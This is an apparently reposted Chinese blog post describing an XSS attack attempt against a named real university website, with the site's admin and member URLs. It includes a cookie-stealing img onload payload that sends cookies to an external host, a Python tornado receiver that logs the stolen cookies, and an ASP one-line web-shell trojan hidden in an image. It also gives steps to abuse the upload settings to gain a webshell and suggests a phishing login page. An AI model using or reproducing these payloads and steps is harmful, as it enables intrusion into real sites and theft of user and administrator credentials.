记一次xss攻击尝试(厦门工学院网站)附代码
来源:互联网 发布:pw域名1元注册 编辑:程序博客网 时间:2024/04/27 20:33
笔者并不是黑客,更不是该校学生,但没有也不想对学校网站做什么破坏,本文也仅提供入侵思路,并非成功方案。也希望大家不要做什么违法行为!
有很多扫描工具,我是用明小子扫描一些可利用的url,笔者没有特别研究过什么黑客工具,但明小子这个工具是我从小学就开始接触使用的(现在都本科毕业了)所以印象深刻,直接网上随便下载一个下来用。直接在管理员入口扫描输入学校网址即可。
通过简单扫描后获得了许多链接,逐一打开看是否有可利用链接。笔者发现了2处登入入口和一处非常有趣的会员列表链接:
- 管理登入
http://www.xit.edu.cn/Admin/Admin_Login.asp - 会员登入
http://www.xit.edu.cn/UserLogin.asp - 会员列表
http://www.xit.edu.cn/UserList.asp?ChannelID=0&OrderType=2
通过会员列表获得会员账号,再通过密码找回获得用户。
通过上一步获得的账号,会员登入,登入后进入短消息管理界面,发送跨找攻击的短消息。短消息地址:
- http://www.xit.edu.cn/User/User_Message.asp?Action=Manage&ManageType=Inbox
<img src="../Skin/blue/powerease_logo.gif" onload="resizepic(this);function resizepic(){ck=document.cookie; url='http://****.cn/sengo?ck='+ck window.location.href=url;};">
上面的代码是是通过onload方法没有过滤,来嵌入js代码,获得admin的cookie并传送到第三行url地址中。虽然第4行代码会重定向到新的url,但我在新的url地址里面会让它重定向回来。我们发送的时候伪装下标题。
只要admin用户打开该短消息,就会把他的cookie发送过来,而cookie中包含了账号和密码信息。其中,密码是md5加密的。但这不要紧,我们获取cookie其实就足够了。 如果想获取明文密码,我在后文中会提到方法。
之后编写我们接收端的代码,这里使用Python+tornado。
# -*-coding:utf-8 -*-import tornado.httpserverimport tornado.ioloopimport tornado.optionsimport osimport tornado.webfrom app_log import *from tornado.options import define, optionsdefine("port", default=8000, type=int)class IndexHandler(tornado.web.RequestHandler): def get(self): try: ck = str(self.request.uri) ck = ck[10:] info(ck) # 把cookie写到日志文件 url = 'http://www.xit.edu.cn/User/User_Message.asp?Action=Manage&ManageType=Inbox' self.redirect(url) except Exception, e: error(e)# 开启日志BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))enable_pretty_logging(options=None)tornado.options.parse_command_line()app = tornado.web.Application(handlers=[(r"/sengo", IndexHandler)])http_server = tornado.httpserver.HTTPServer(app)http_server.listen(options.port)tornado.ioloop.IOLoop.instance().start()
上面的xss跨站攻击的代码通过get方式把cookie信息传送过来,而这里的python代码我们直接利用get方法获取cookie参数就可以了。代码很短很简单,如果看不懂可以看一下tornado最基本的get方式的写法,本文不过多累述。
在等待管理员打开短消息期间,我们可以先上传一句话木马。asp一句话木马代码如下:
<%a=request("sengo)%><%eval a%>其中,“sengo”是一句话登入的密码。我们将一句话木马和图片捆绑。如何制作一句话图片木马,网上有很多方法,请自行查询。笔者建议直接dos下执行:
copy /b photo.gif+code.asp Button1.gif其中,photo.gif是图片文件, code.asp是一句话木马文件。
制作完图片木马后,我们将其上传到如下地址:
- http://www.xit.edu.cn/user/Upload.asp?dialogtype=UserBlogPic&size=5
笔者本来借了台服务器挂上python脚本等待接收cookie的,奈何服务器借了几天就被朋友收回去了。所以做到这里就中断了,但不妨碍我们继续讲思路。
一旦获得了cookie,cookie包含了明文账号和经过md5加密的密码。我们可以做md5解密,可能会费时比较久或者直接利用cookie登入。其次我们也可以构造虚假登入页面,获得cookie的同时,我们不妨在Python代码中让它重定向到一个虚假的登入页面,模拟一个一模一样的会员登入页面诱导其登入。
当我们用“admin”管理员账号后台登入后,进入系统设置-》网站频道管理-》下载中心-》上传选项-》上传文件的保存目录,把里边默认的目录改成xxx.asp。
之后通过菜刀工具连接我们的一句话木马,即可上传大马小马等拿webshell。
- 记一次xss攻击尝试(厦门工学院网站)附代码
- 一次XSS攻击过程
- xss 网站攻击
- 网站防止XSS攻击
- XSS网站攻击演示
- XSS攻击代码
- XSS攻击测试代码
- 网站xss攻击和防止
- 防止XSS攻击,过滤代码
- 栈溢出攻击的一次简单尝试
- XSS攻击(二)
- 网站攻击代码(C#)
- 网站攻击代码(C#)
- 跨站脚本攻击(XSS)——常见网站攻击手段原理与防御
- 网站XSS跨站攻击脚本语法
- web网站常见攻击方式之XSS
- 网站XSS漏洞攻击如何修补
- 网站安全-前端XSS攻击和防御
- vim 启动参数设置
- 《深入理解mybatis原理》 MyBatis缓存机制的设计与实现
- AsyncTask(异步任务)分析之基本使用
- Android hook+反射+ 底层源码
- 角点检测
- 记一次xss攻击尝试(厦门工学院网站)附代码
- java web后台开发SSM框架(Spring+SpringMVC+MyBaitis)搭建与优化
- 看似落魄的灵魂登场却如此隆重,风 吹散了平庸 爱漫延没有尽头
- 利用Pandas进行数据分析(2)——pandas数据基本操作
- 【Java】数组
- Java动态代理
- Java+Eclipse 在eclipse中配置OpenCV
- 题目1011:最大连续子序列
- 怎样隐藏vim打开C语言后存在的~M后缀问题